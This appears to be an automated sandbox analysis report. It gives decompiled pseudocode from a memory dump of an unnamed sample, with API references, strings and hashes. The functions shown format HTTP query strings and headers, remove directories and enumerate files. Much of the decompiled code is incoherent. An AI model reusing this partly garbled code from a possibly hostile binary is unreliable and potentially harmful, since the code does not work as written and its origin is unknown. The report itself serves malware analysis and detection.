												E0087B0A0(__ebx, __edi, __esi,  *((intOrPtr*)(__esi + 0xc)),  *(__esi + 0x18), _a36) = _a36;
												 *((intOrPtr*)(__esi + 0x10)) = _a36;
												goto L2;
											case 5:
												 &_a68 = E0087C290(__edi,  &_a68, 0, __edi);
												__eax =  &_a52;
												__ebx =  &_a68;
												__eax = E008668FB( &_a68, __eflags,  &_a52, __edi);
												__ebx = _a12;
												__eax =  *(__ebx + 4);
												__eflags =  *__eax;
												_push( *((intOrPtr*)(__ebx + 0x18)));
												if( *__eax != 0) {
													__ecx =  &_a68;
													_push( &_a68);
													__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "%s&%s=%s", __eax);
												} else {
													__eax =  &_a68;
													_push( &_a68);
													_push("?%s=%s");
													goto L20;
												}
												goto L22;
											case 6:
												 &_a68 = E0087C290(__edi,  &_a68, 0, __edi);
												__eax =  &_a52;
												__ebx =  &_a68;
												__eax = E008668FB( &_a68, __eflags,  &_a52, __edi);
												__ebx = _a12;
												_push( *((intOrPtr*)(__ebx + 0x18)));
												__eax =  &_a68;
												_push( &_a68);
												__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "%s%s: %s\r\n",  *__ebx);
												goto L24;
											case 7:
												__eax =  &_a52;
												__eax = E008667E9( &_a52);
												__eflags = __eax;
												if(__eax != 0) {
													goto L27;
												} else {
													__esi = _a20;
													_push(__esi);
													_push(_a16);
													goto L29;
												}
												goto L63;
											case 8:
												__esi = _a12;
												_push( *(__esi + 0x14));
												_push(_a36);
												_push( *(__esi + 0x18));
												_push(0x61);
												goto L31;
											case 9:
												 &_a68 = E0087C290(__edi,  &_a68, 0, __edi);
												__eax =  &_a52;
												__ebx =  &_a68;
												__eax = E008668FB( &_a68, __eflags,  &_a52, __edi);
												__ebx = _a12;
												__eax =  *(__ebx + 4);
												__eflags =  *__eax;
												if( *__eax != 0) {
													__ecx =  &_a68;
													_push( &_a68);
													_push(__eax);
													_push("%s&%s");
													L20:
													_push(__edi);
													_push( *(__ebx + 0x1c));
													__eax = E008749A6(__edi, __esi);
													__esp = __esp + 0x14;
													goto L22;
												} else {
													__eax =  &_a68;
													__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "?%s",  &_a68);
													L22:
													__edi =  *(__ebx + 4);
													goto L49;
												}
												goto L50;
											case 0xa:
												 &_a68 = E0087C290(__edi,  &_a68, 0, __edi);
												__eax =  &_a52;
												__ebx =  &_a68;
												__eax = E008668FB(__ebx, __eflags,  &_a52, __edi);
												__eax = __ebx;
												__ebx = _a12;
												_push(__eax);
												__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "%s%s\r\n",  *__ebx);
												L24:
												__edi =  *__ebx;
												L49:
												_t234 =  *(_t218 + 0x1c);
												goto L50;
											case 0xb:
												__esi = _a12;
												_push( *(__esi + 0x14));
												_push(_a36);
												_push( *(__esi + 0x18));
												_push(0x41);
												L31:
												__eax =  *(__esi + 0x1c);
												__eax = E00863272( *(__esi + 0x1c));
												__ebx =  *(__esi + 0x18);
												_a36 = __eax;
												E0087C290(__edi, __ebx, 0,  *(__esi + 0x14)) = E0087B0A0(__ebx, __edi, __esi, __ebx,  *(__esi + 0x1c), _a36);
												goto L2;
											case 0xc:
												__ebx = _a12;
												_push( *((intOrPtr*)(__ebx + 0x18)));
												__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "%s%s",  *((intOrPtr*)(__ebx + 8)));
												goto L46;
											case 0xd:
												__eax = _a12;
												__ecx =  *(__eax + 0x14);
												__ebx =  *(__eax + 0x1c);
												__eax =  *(__eax + 0x18);
												__esi =  &_a40;
												_a40 = __ecx;
												__eax = E00863312(__ebx,  &_a40, __eflags, _a36);
												__eflags = __eax;
												if(__eax == 0) {
													__esi = _a12;
													L14:
													__eax = _a40;
													__ebx =  *(__esi + 0x18);
													_a36 = _a40;
													__eax = E0087C290(__edi, __ebx, 0,  *(__esi + 0x14));
													_push(_a40);
													_push( *(__esi + 0x1c));
													_push(__ebx);
													L12:
													__eax = E0087B0A0(__ebx, __edi, __esi);
													_t237 = _t235 + 0x18;
													goto L2;
												}
												goto L63;
											case 0xe:
												while(1) {
													L2:
													_t206 = E008667E9( &_a52);
													if(_t206 > 0x10) {
														continue;
													}
													goto L3;
													while(1) {
														L2:
														_t206 = E008667E9( &_a52);
														if(_t206 > 0x10) {
															continue;
														}
														goto L3;
														while(1) {
															L2:
															_t206 = E008667E9( &_a52);
															if(_t206 > 0x10) {
																continue;
															}
															goto L3;
															do {
																while(1) {
																	L2:
																	_t206 = E008667E9( &_a52);
																	if(_t206 > 0x10) {
																		continue;
																	}
																	goto L3;
																	while(1) {
																		L2:
																		_t206 = E008667E9( &_a52);
																		if(_t206 > 0x10) {
																			continue;
																		}
																		goto L3;
																		do {
																			goto L2;
																		} while (_t206 > 0x10);
																		goto L3;
																	}
																}
																L27:
																__eflags = __eax - 1;
															} while (__eax != 1);
															__esi = _a28;
															_push(__esi);
															_push(_a24);
															L29:
															__eax = _a12;
															_push( *((intOrPtr*)(_a12 + 0x18)));
															__eax = E0087B0A0(__ebx, __edi, __esi);
															__esp = __esp + 0xc;
															_a36 = __esi;
														}
													}
												}
											case 0xf:
												__esi = _a12;
												__eax =  *(__esi + 0x1c);
												__edi = _a36;
												__eax = E008633A9( *(__esi + 0x1c), __ecx, _a36,  *(__esi + 0x18),  *(__esi + 0x14));
												__edi =  *(__esi + 0x18);
												_a36 = __eax;
												E0087C290(__edi, __edi, 0,  *(__esi + 0x14)) = E0087B0A0(__ebx, __edi, __esi, __edi,  *(__esi + 0x1c), _a36);
												goto L53;
											case 0x10:
												 &_a68 = E0087C290(__edi,  &_a68, 0, __edi);
												__eax =  &_a52;
												__ebx =  &_a68;
												__eax = E008668FB( &_a68, __eflags,  &_a52, __edi);
												__eflags = _a44;
												if(_a44 == 0) {
													L41:
													__eax =  &_a68;
													_push( &_a68);
													__eax = _a12;
													__eax = E008749A6(__edi, __esi,  *((intOrPtr*)(_a12 + 0x1c)), __edi, "%s%s\r\n",  *_a12);
													__ebx = _a12;
												} else {
													__eax = _a44;
													_t113 = __eax + 1; // 0x1
													__edx = _t113;
													do {
														__cl =  *__eax;
														__eax = __eax + 1;
														__eflags = __cl;
													} while (__cl != 0);
													__eax = __eax - __edx;
													__eflags = __eax;
													if(__eax == 0) {
														goto L41;
													} else {
														_push(_a44);
														__ebx = _a12;
														__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "%s%s\r\n",  *__ebx);
														_a48 = 1;
													}
												}
												__edi =  *__ebx;
												L47:
												_t236 = _t235 + 0x14;
												goto L48;
										}
										L2:
										_t206 = E008667E9( &_a52);
									}
								}
							} else {
								 *((intOrPtr*)(__edi + 0x7a)) =  *((intOrPtr*)(__edi + 0x7a)) + __dh;
								_t163 = __al;
								__al =  *__eax;
								 *__eax = _t163;
								__al =  *__eax;
								 *((intOrPtr*)(__ebx + 0x7c090086 + __edi * 2)) =  *((intOrPtr*)(__ebx + 0x7c090086 + __edi * 2)) + __bh;
								__al =  *__eax;
								__edi = __edi + 1;
								__eflags = __edi;
								if(__edi >= 0) {
									L56:
									asm("sbb [eax], al");
									_t146 = __eax + __edi - 0x75;
									 *_t146 =  *(__eax + __edi - 0x75) + __dh;
									__eflags =  *_t146;
								} else {
									 *__ebx =  *__ebx + __dl;
									__eflags =  *__ebx;
									if( *__ebx < 0) {
										__eax = _a44;
										goto L59;
									} else {
										__al = __al + __dl;
										__eflags = __al;
										if(__al != 0) {
											L59:
											_t151 = __eax + 1; // 0x1
											__edx = _t151;
											do {
												__cl =  *__eax;
												__eax = __eax + 1;
												__eflags = __cl;
											} while (__cl != 0);
											__eax = __eax - __edx;
											__eflags = __eax;
											if(__eax != 0) {
												_push(_a44);
												__ebx = _a12;
												__eax = E008749A6(__edi, __esi,  *(__ebx + 0x1c), __edi, "%s%s\r\n",  *__ebx);
												__esi =  *(__ebx + 0x1c);
												__edi =  *__ebx;
												__ecx = 0x100;
												__eax = memcpy( *__ebx, __esi, 0x100 << 2);
												__esi + __ecx = __esi + __ecx + __ecx;
												__ecx = 0;
											}
											L63:
											_pop(__edi);
											_pop(__esi);
											_pop(__ebx);
											__esp = __ebp;
											_pop(__ebp);
											return __eax;
										} else {
											 *((intOrPtr*)(__ebx + __edi * 2 - 0x7a)) =  *((intOrPtr*)(__ebx + __edi * 2 - 0x7a)) + __al;
											_t179 =  &_v117;
											 *_t179 = _v117 + __dl;
											__eflags =  *_t179;
											_push(__ebp);
											__ebp = __esp;
											__esp = __esp - 0x14;
											_push(__ebx);
											_push(__esi);
											_push(__edi);
											__esi = __eax;
											__edi = __ecx;
											__eax = E00874855(__ebx, __edx, __edi, __esi);
											__ebx = __eax;
											__eflags = __ebx;
											if(__ebx != 0) {
												 &_v24 = E008667D0( &_v24, _a4, 0x400);
												while(1) {
													L74:
													__esp = __esp + 0xc;
													while(1) {
														L75:
														__eax =  &_v24;
														__eax = E008667E9( &_v24);
														__eflags = __eax - 8;
														if(__eflags > 0) {
															break;
														}
														if(__eflags == 0) {
															_push(_a8);
															_push(__ebx);
															_push(__esi);
															_push(0x61);
															L96:
															 *(__edi + __esi) = 0;
															__eax = E008632B4(__edx, __edi);
															__esp = __esp + 0x10;
															L97:
															__esi = __eax;
															__eflags = __esi;
															if(__esi == 0) {
																goto L87;
															} else {
																__eax = E0087B0A0(__ebx, __edi, __esi, __edi, __ebx, __esi);
																 *(__edi + __esi) = 0;
																goto L74;
															}
														} else {
															__eax = __eax;
															__eflags = __eax;
															if(__eflags != 0) {
																__eax = __eax - 1;
																__eflags = __eax;
																if(__eax == 0) {
																	__eax =  &_v24;
																	__esi = __esi - E008667E9( &_v24);
																	__eflags = __esi;
																	if(__esi >= 0) {
																		continue;
																	} else {
																		goto L87;
																	}
																} else {
																	__eax = __eax - 1;
																	__eflags = __eax;
																	if(__eax == 0) {
																		__eax =  &_v24;
																		__eax = E008667E9( &_v24);
																		__eflags = __eax - __esi;
																		_v8 = __eax;
																		if(__eax > __esi) {
																			goto L87;
																		} else {
																			__eax = E0087B0A0(__ebx, __edi, __esi, __ebx, __edi, __esi);
																			__eax = _v8;
																			__esi = __esi - __eax;
																			__eax = E0087B0A0(__ebx, __edi, __esi, __edi, __eax, __esi);
																			continue;
																		}
																	} else {
																		__eax = __eax - 1;
																		__eflags = __eax;
																		if(__eax != 0) {
																			continue;
																		} else {
																			 *(__edi + __esi) = __al;
																			__eax = _a8;
																			_v8 = _a8;
																			__eax =  &_v8;
																			__eax = E0086B008(__edi, __esi, __ebx,  &_v8);
																			L82:
																			__eflags = __eax;
																			if(__eax != 0) {
																				L87:
																				__esi = 0;
																				__eflags = 0;
																			} else {
																				__esi = _v8;
																				__eax = E0087B0A0(__ebx, __edi, __esi, __edi, __ebx, __esi);
																				while(1) {
																					L74:
																					__esp = __esp + 0xc;
																					goto L75;
																				}
																			}
																		}
																	}
																}
															}
														}
														L88:
														__eax = E00874778(__ebx, __edx, __edi, __esi, __eflags);
														__ecx = __ebx;
														__eax = __esi;
														goto L72;
													}
													__eax = __eax - 0xb;
													__eflags = __eax;
													if(__eax == 0) {
														_push(_a8);
														_push(__ebx);
														_push(__esi);
														_push(0x41);
														goto L96;
													} else {
														__eax = __eax - 1;
														__eax = __eax - 1;
														__eflags = __eax;
														if(__eax == 0) {
															__eax = _a8;
															__ecx =  &_v8;
															_v8 = _a8;
															 *(__edi + __esi) = 0;
															__eax = __esi;
															__esi = __edi;
															__eax = E0086335D(__eax, __edi, __eax, __ebx,  &_v8);
															goto L82;
														} else {
															__eax = __eax - 1;
															__eax = __eax - 1;
															__eflags = __eax;
															if(__eax != 0) {
																goto L75;
															} else {
																 *(__edi + __esi) = __al;
																__eax = __esi;
																__ecx = __edi;
																__eax = E00863400(__esi, __edi, __ebx, _a8);
																_pop(__ecx);
																_pop(__ecx);
																goto L97;
															}
														}
													}
													goto L88;
												}
											}
											L72:
											_pop(__edi);
											_pop(__esi);
											_pop(__ebx);
											__esp = __ebp;
											_pop(__ebp);
											return __eax;
										}
									}
								}
							}
						}
					}
				}
			}

0x00867c92
0x00867c92
0x00867c92
0x00867c94
0x00867c1c
0x00867c1e
0x00867c1e
0x00867c20
0x00000000
0x00867c96
0x00867c96
0x00867c96
0x00867c96
0x00867c99
0x00867c99
0x00867c99
0x00867c9b
0x00867c9b
0x00867c9b
0x00867c9c
0x00867c24
0x00867c24
0x00000000
0x00867c9e
0x00867c9e
0x00867c9e
0x00867ca0
0x00867c28
0x00867c28
0x00867ca2
0x00867ca2
0x00867ca2
0x00867ca4
0x00867c2c
0x00867c2c
0x00867c2e
0x00867c2e
0x00867c30
0x00867c30
0x00867c30
0x00867813
0x00867813
0x00867818
0x00867821
0x00000000
0x00000000
0x00867823
0x00867823
0x00000000
0x00867c3a
0x00867c3f
0x00867c41
0x00000000
0x00867c41
0x00000000
0x00000000
0x00867832
0x0086783d
0x00867855
0x0086785a
0x0086785c
0x0086785f
0x00867862
0x00867862
0x00867864
0x00867865
0x0086786b
0x00000000
0x00000000
0x00867879
0x0086787e
0x00867884
0x00867888
0x0086788d
0x00867890
0x0086789a
0x0086789f
0x008678a6
0x008678a9
0x008678a9
0x008678ab
0x008678ac
0x008678ac
0x008678b4
0x008678b6
0x008678ba
0x008678bd
0x008678c1
0x008678c6
0x008678cd
0x008678d0
0x008678d0
0x008678d2
0x008678d3
0x008678d3
0x008678da
0x008678dc
0x008678dc
0x008678dc
0x008678e6
0x008678eb
0x008678ef
0x008678f0
0x00000000
0x00000000
0x008678fe
0x00867901
0x00867904
0x00867908
0x00867910
0x00867917
0x0086791f
0x00867921
0x00000000
0x00000000
0x00000000
0x00000000
0x00867976
0x00867984
0x0086798b
0x00000000
0x00000000
0x0086799b
0x008679a0
0x008679a6
0x008679aa
0x008679af
0x008679b2
0x008679b8
0x008679bb
0x008679be
0x008679d8
0x008679dc
0x008679e7
0x008679c0
0x008679c0
0x008679c4
0x008679c5
0x00000000
0x008679c5
0x00000000
0x00000000
0x008679ff
0x00867a04
0x00867a0a
0x00867a0e
0x00867a13
0x00867a16
0x00867a19
0x00867a1d
0x00867a29
0x00000000
0x00000000
0x00867a38
0x00867a3d
0x00867a43
0x00867a45
0x00000000
0x00867a47
0x00867a47
0x00867a4a
0x00867a4b
0x00000000
0x00867a4b
0x00000000
0x00000000
0x00867a77
0x00867a7a
0x00867a7d
0x00867a81
0x00867a84
0x00000000
0x00000000
0x00867abd
0x00867ac2
0x00867ac8
0x00867acc
0x00867ad1
0x00867ad4
0x00867ada
0x00867add
0x00867afa
0x00867afe
0x00867aff
0x00867b00
0x008679ca
0x008679ca
0x008679cb
0x008679ce
0x008679d3
0x00000000
0x00867adf
0x00867adf
0x00867aed
0x008679ef
0x008679ef
0x00000000
0x008679ef
0x00000000
0x00000000
0x00867b12
0x00867b17
0x00867b1d
0x00867b21
0x00867b26
0x00867b28
0x00867b2b
0x00867b37
0x00867a31
0x00867a31
0x00867c26
0x00867c26
0x00000000
0x00000000
0x00867bbc
0x00867bbf
0x00867bc2
0x00867bc6
0x00867bc9
0x00867a86
0x00867a86
0x00867a89
0x00867a91
0x00867a97
0x00867aa8
0x00000000
0x00000000
0x00867c09
0x00867c0c
0x00867c1b
0x00000000
0x00000000
0x00867947
0x0086794a
0x0086794d
0x00867954
0x00867957
0x0086795b
0x0086795f
0x00867965
0x00867967
0x0086796d
0x00867927
0x0086792a
0x0086792e
0x00867934
0x00867938
0x0086793d
0x00867941
0x00867944
0x008678f4
0x008678f4
0x00867810
0x00000000
0x00867810
0x00000000
0x00000000
0x00867813
0x00867813
0x00867818
0x00867821
0x00000000
0x00000000
0x00000000
0x00867813
0x00867813
0x00867818
0x00867821
0x00000000
0x00000000
0x00000000
0x00867813
0x00867813
0x00867818
0x00867821
0x00000000
0x00000000
0x00000000
0x00867813
0x00867813
0x00867813
0x00867818
0x00867821
0x00000000
0x00000000
0x00000000
0x00867813
0x00867813
0x00867818
0x00867821
0x00000000
0x00000000
0x00000000
0x00867813
0x00000000
0x00000000
0x00000000
0x00867813
0x00867813
0x00867a50
0x00867a50
0x00867a50
0x00867a59
0x00867a5c
0x00867a5d
0x00867a60
0x00867a60
0x00867a63
0x00867a66
0x00867a6b
0x00867a6e
0x00867a6e
0x00867813
0x00867813
0x00000000
0x00867bd0
0x00867bd6
0x00867bdc
0x00867be0
0x00867be8
0x00867bee
0x00867bff
0x00000000
0x00000000
0x00867b4c
0x00867b51
0x00867b57
0x00867b5b
0x00867b63
0x00867b68
0x00867b9d
0x00867b9d
0x00867ba1
0x00867ba2
0x00867bb0
0x00867bb5
0x00867b6a
0x00867b6a
0x00867b6e
0x00867b6e
0x00867b71
0x00867b71
0x00867b73
0x00867b74
0x00867b74
0x00867b78
0x00867b78
0x00867b7a
0x00000000
0x00867b7c
0x00867b7c
0x00867b80
0x00867b8e
0x00867b93
0x00867b93
0x00867b7a
0x00867bb8
0x00867c23
0x00867c23
0x00000000
0x00000000
0x00867813
0x00867818
0x0086781e
0x00867813
0x00867ca6
0x00867ca6
0x00867ca9
0x00867ca9
0x00867ca9
0x00867cad
0x00867cb2
0x00867cb9
0x00867cbb
0x00867cbb
0x00867cbc
0x00867c44
0x00867c44
0x00867c45
0x00867c45
0x00867c45
0x00867cbe
0x00867cbe
0x00867cbe
0x00867cc0
0x00867c48
0x00000000
0x00867cc2
0x00867cc2
0x00867cc2
0x00867cc4
0x00867c4c
0x00867c4c
0x00867c4c
0x00867c4f
0x00867c4f
0x00867c51
0x00867c52
0x00867c52
0x00867c56
0x00867c56
0x00867c58
0x00867c5a
0x00867c5e
0x00867c6c
0x00867c71
0x00867c74
0x00867c76
0x00867c7e
0x00867c7e
0x00867c7e
0x00867c7e
0x00867c80
0x00867c80
0x00867c81
0x00867c82
0x00867c83
0x00867c85
0x00867c86
0x00867cc6
0x00867cc6
0x00867cca
0x00867cca
0x00867cca
0x00867ccb
0x00867ccc
0x00867cce
0x00867cd1
0x00867cd2
0x00867cd3
0x00867cd4
0x00867cd7
0x00867cd9
0x00867cde
0x00867ce1
0x00867ce3
0x00867cf6
0x00867cfb
0x00867cfb
0x00867cfb
0x00867cfe
0x00867cfe
0x00867cfe
0x00867d02
0x00867d07
0x00867d0b
0x00000000
0x00000000
0x00867d11
0x00867d9d
0x00867da0
0x00867da1
0x00867da2
0x00867df3
0x00867df3
0x00867df7
0x00867dfc
0x00867dff
0x00867dff
0x00867e01
0x00867e03
0x00000000
0x00867e05
0x00867e08
0x00867e0d
0x00000000
0x00867e0d
0x00867d17
0x00867d17
0x00867d17
0x00867d1a
0x00867d1c
0x00867d1c
0x00867d1d
0x00867d7b
0x00867d84
0x00867d84
0x00867d87
0x00000000
0x00000000
0x00000000
0x00000000
0x00867d1f
0x00867d1f
0x00867d1f
0x00867d20
0x00867d4e
0x00867d52
0x00867d57
0x00867d5a
0x00867d5d
0x00000000
0x00867d5f
0x00867d62
0x00867d67
0x00867d6a
0x00867d71
0x00000000
0x00867d76
0x00867d22
0x00867d22
0x00867d22
0x00867d23
0x00000000
0x00867d25
0x00867d25
0x00867d28
0x00867d2b
0x00867d2e
0x00867d35
0x00867d3d
0x00867d3d
0x00867d3f
0x00867d8d
0x00867d8d
0x00867d8d
0x00867d41
0x00867d41
0x00867d47
0x00867cfb
0x00867cfb
0x00867cfb
0x00000000
0x00867cfb
0x00867cfb
0x00867d3f
0x00867d23
0x00867d20
0x00867d1d
0x00867d1a
0x00867d8f
0x00867d90
0x00867d95
0x00867d96
0x00000000
0x00867d96
0x00867da6
0x00867da6
0x00867da9
0x00867dec
0x00867def
0x00867df0
0x00867df1
0x00000000
0x00867dab
0x00867dab
0x00867dac
0x00867dac
0x00867dad
0x00867dcb
0x00867dce
0x00867dd3
0x00867dd7
0x00867ddb
0x00867ddd
0x00867ddf
0x00000000
0x00867daf
0x00867daf
0x00867db0
0x00867db0
0x00867db1
0x00000000
0x00867db7
0x00867dba
0x00867dbe
0x00867dc0
0x00867dc2
0x00867dc7
0x00867dc8
0x00000000
0x00867dc8
0x00867db1
0x00867dad
0x00000000
0x00867da9
0x00867cfb
0x00867ce5
0x00867ce5
0x00867ce6
0x00867ce7
0x00867ce8
0x00867ce8
0x00867ce9
0x00867ce9
0x00867cc4
0x00867cc0
0x00867cbc
0x00867ca4
0x00867ca0
0x00867c9c

APIs

__snprintf.LIBCMT ref: 00867C6C
_malloc.LIBCMT ref: 00867CD9

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

Strings

%s%s, xrefs: 00867C63

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AllocateHeap__snprintf_malloc
String ID: %s%s
API String ID: 2311827213-3438391663
Opcode ID: 9d1339245a14629d912d0a10a8c3c598ef1861195e28c883ecbfb787de957b3f
Instruction ID: 950139bd3ca424b6a625497899b3df3ac9a9e2513a78310acd94ebec90db109f
Opcode Fuzzy Hash: 9d1339245a14629d912d0a10a8c3c598ef1861195e28c883ecbfb787de957b3f
Instruction Fuzzy Hash: 8A21376260D2D15FCF139A3898916463F61FF93318B1A00EAD985CF267E1229C19C3E2

Uniqueness

Uniqueness Score: -1.00%

Function 00863E4F, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E00863E4F(void* __ebx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t4;
				void* _t12;
				void* _t13;
				void* _t14;

				_t9 = __ebx;
				_t4 = E00874855(__ebx, _t12, _t13, 0x4000);
				_push(_a8);
				_t14 = _t4;
				E008749A6(_t14, 0x4000, _t14, 0x4000, "%s\\%s", _a4);
				_t19 = _a12;
				_push(_t14);
				if(_a12 == 0) {
					E00875DF8();
				} else {
					E00875E5A();
				}
				_push(_t14);
				return E00874778(_t9, _t12, _t14, 0x4000, _t19);
			}

0x00863e4f
0x00863e5a
0x00863e5f
0x00863e62
0x00863e6e
0x00863e76
0x00863e7a
0x00863e7b
0x00863e84
0x00863e7d
0x00863e7d
0x00863e7d
0x00863e8a
0x00863e94

APIs

_malloc.LIBCMT ref: 00863E5A

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

__snprintf.LIBCMT ref: 00863E6E

Part of subcall function 00875E5A: RemoveDirectoryA.KERNEL32(00863ED2,?,00863ED2,00000000,?,?,?,00000000,?,?,?,?,?,?,?), ref: 00875E62
Part of subcall function 00875E5A: GetLastError.KERNEL32(?,00863ED2,00000000,?,?,?,00000000,?,?,?,?,?,?,?), ref: 00875E6C
Part of subcall function 00875E5A: __dosmaperr.LIBCMT ref: 00875E7B

Strings

%s\%s, xrefs: 00863E67

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: AllocateDirectoryErrorHeapLastRemove__dosmaperr__snprintf_malloc
String ID: %s\%s
API String ID: 47932920-4073750446
Opcode ID: 445b3342895855350d9d6c3ee27288a0294e29ba9fc1a4df2c33291b5606aafb
Instruction ID: 33599d97b6a0112242889326284c257c0167e89970d32b3705f82afe26084d01
Opcode Fuzzy Hash: 445b3342895855350d9d6c3ee27288a0294e29ba9fc1a4df2c33291b5606aafb
Instruction Fuzzy Hash: 94E0D8324002087AD711355D9C06FBFBB5CFF42770F56802AFA1CD51569BB69A0051F7

Uniqueness

Uniqueness Score: -1.00%

Function 008679F7, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E008679F7(void* __esi, void* __eflags) {
				intOrPtr __edi;
				void* _t182;
				void* _t184;
				void* _t185;
				void* _t186;
				void* _t188;

				L0:
				while(1) {
					_t188 = __eflags;
					E0087C290(_t182, _t185 + 0x34, 0, _t182);
					E008668FB(_t185 + 0x44, _t188, _t185 + 0x2c, _t182);
					_t177 =  *((intOrPtr*)(_t184 + 0xc));
					_push( *((intOrPtr*)( *((intOrPtr*)(_t184 + 0xc)) + 0x18)));
					_push(_t185 + 0x48);
					E008749A6(_t182, __esi,  *((intOrPtr*)( *((intOrPtr*)(_t184 + 0xc)) + 0x1c)), _t182, "%s%s: %s\r\n",  *_t177);
					_t186 = _t185 + 0x2c;
					while(1) {
						L23:
						__edi =  *__ebx;
						while(1) {
							L48:
							__esi =  *((intOrPtr*)(__ebx + 0x1c));
							L49:
							asm("sbb al, 0xb9");
						}
					}
				}
			}

0x008679f7
0x008679f7
0x008679f7
0x008679ff
0x00867a0e
0x00867a13
0x00867a16
0x00867a1d
0x00867a29
0x00867a2e
0x00867a31
0x00867a31
0x00867a31
0x00867c26
0x00867c26
0x00867c26
0x00867c28
0x00867c28
0x00867c28
0x00867c26
0x00867a31

APIs

_memset.LIBCMT ref: 008679FF
__snprintf.LIBCMT ref: 00867A29

Strings

%s%s: %s, xrefs: 00867A20

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: __snprintf_memset
String ID: %s%s: %s
API String ID: 2657849664-533130479
Opcode ID: ced824a8764b818602b4c7e9eca99f8b93ae0a200ea0fd0d33301f65e2ce0e31
Instruction ID: 73fc968ab3716220127451976c33d6698b6bb21a72bca53e369a506a3716e55c
Opcode Fuzzy Hash: ced824a8764b818602b4c7e9eca99f8b93ae0a200ea0fd0d33301f65e2ce0e31
Instruction Fuzzy Hash: 79F0E572104208ABCB00DE50CCC1E8B3779FF8A714F014424FB44EB155E231ED11DB62

Uniqueness

Uniqueness Score: -1.00%

Function 008686A9, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E008686A9(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t5;
				void* _t10;
				void* _t11;
				void* _t12;
				void* _t16;

				_t5 = E00874855(__ebx, _t10, _t11, 0x8000);
				_push(_a8);
				_t12 = _t5;
				E008749A6(_t12, 0x8000, _t12, 0x8000, "%s\\%s", _a4);
				E008686E6(_t16, _t12, _a12, _a16);
				_push(_t12);
				return E00874778(__ebx, _t10, _t12, 0x8000, _t16);
			}

0x008686b4
0x008686b9
0x008686bc
0x008686c8
0x008686d4
0x008686d9
0x008686e5

APIs

_malloc.LIBCMT ref: 008686B4

Part of subcall function 00874855: __FF_MSGBANNER.LIBCMT ref: 00874878
Part of subcall function 00874855: __NMSG_WRITE.LIBCMT ref: 0087487F
Part of subcall function 00874855: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3), ref: 008748CC

__snprintf.LIBCMT ref: 008686C8

Part of subcall function 008686E6: _malloc.LIBCMT ref: 008686F3
Part of subcall function 008686E6: __snprintf.LIBCMT ref: 00868704
Part of subcall function 008686E6: FindFirstFileA.KERNEL32(00000000,00863ECB,?,008687D5,00863ECB,?,00863E4F), ref: 00868711
Part of subcall function 008686E6: _malloc.LIBCMT ref: 00868750
Part of subcall function 008686E6: __snprintf.LIBCMT ref: 00868765
Part of subcall function 008686E6: FindNextFileA.KERNEL32(000000FF,00863ECB,?,?,?,?,?,?,?), ref: 00868792
Part of subcall function 008686E6: FindClose.KERNEL32(000000FF,?,?,?,?,?,?,?), ref: 0086879F

Part of subcall function 00874778: __lock.LIBCMT ref: 00874796
Part of subcall function 00874778: ___sbh_find_block.LIBCMT ref: 008747A1
Part of subcall function 00874778: ___sbh_free_block.LIBCMT ref: 008747B0
Part of subcall function 00874778: HeapFree.KERNEL32(00000000,00000000,0088F5A8,0000000C,008796BB,00000000,?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C), ref: 008747E0
Part of subcall function 00874778: GetLastError.KERNEL32(?,0087C679,00000000,00000001,00000000,?,00876452,00000018,0088F6E8,0000000C,008764E3,00000000,00000000,?,00879775,0000000D), ref: 008747F1

Strings

%s\%s, xrefs: 008686C1

Memory Dump Source

Source File: 00000000.00000002.508560503.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: true

Yara matches

Similarity

API ID: Find__snprintf_malloc$FileHeap$AllocateCloseErrorFirstFreeLastNext___sbh_find_block___sbh_free_block__lock
String ID: %s\%s
API String ID: 1254174322-4073750446
Opcode ID: 3dcc8bbe005a6472331ab3dd9b35946e2d83a8e8598bb1e5fa407cc7ed14554a
Instruction ID: e58b04dbca10fb2f8e2313ca945b84336e640e6057e4a8c3df147b48d8dcde7f
Opcode Fuzzy Hash: 3dcc8bbe005a6472331ab3dd9b35946e2d83a8e8598bb1e5fa407cc7ed14554a
Instruction Fuzzy Hash: A9E08C32501118778F123E5ADC06EBF7F2DFF866A0B058025FE1CA11159B368921A7A7

Uniqueness

Uniqueness Score: -1.00%

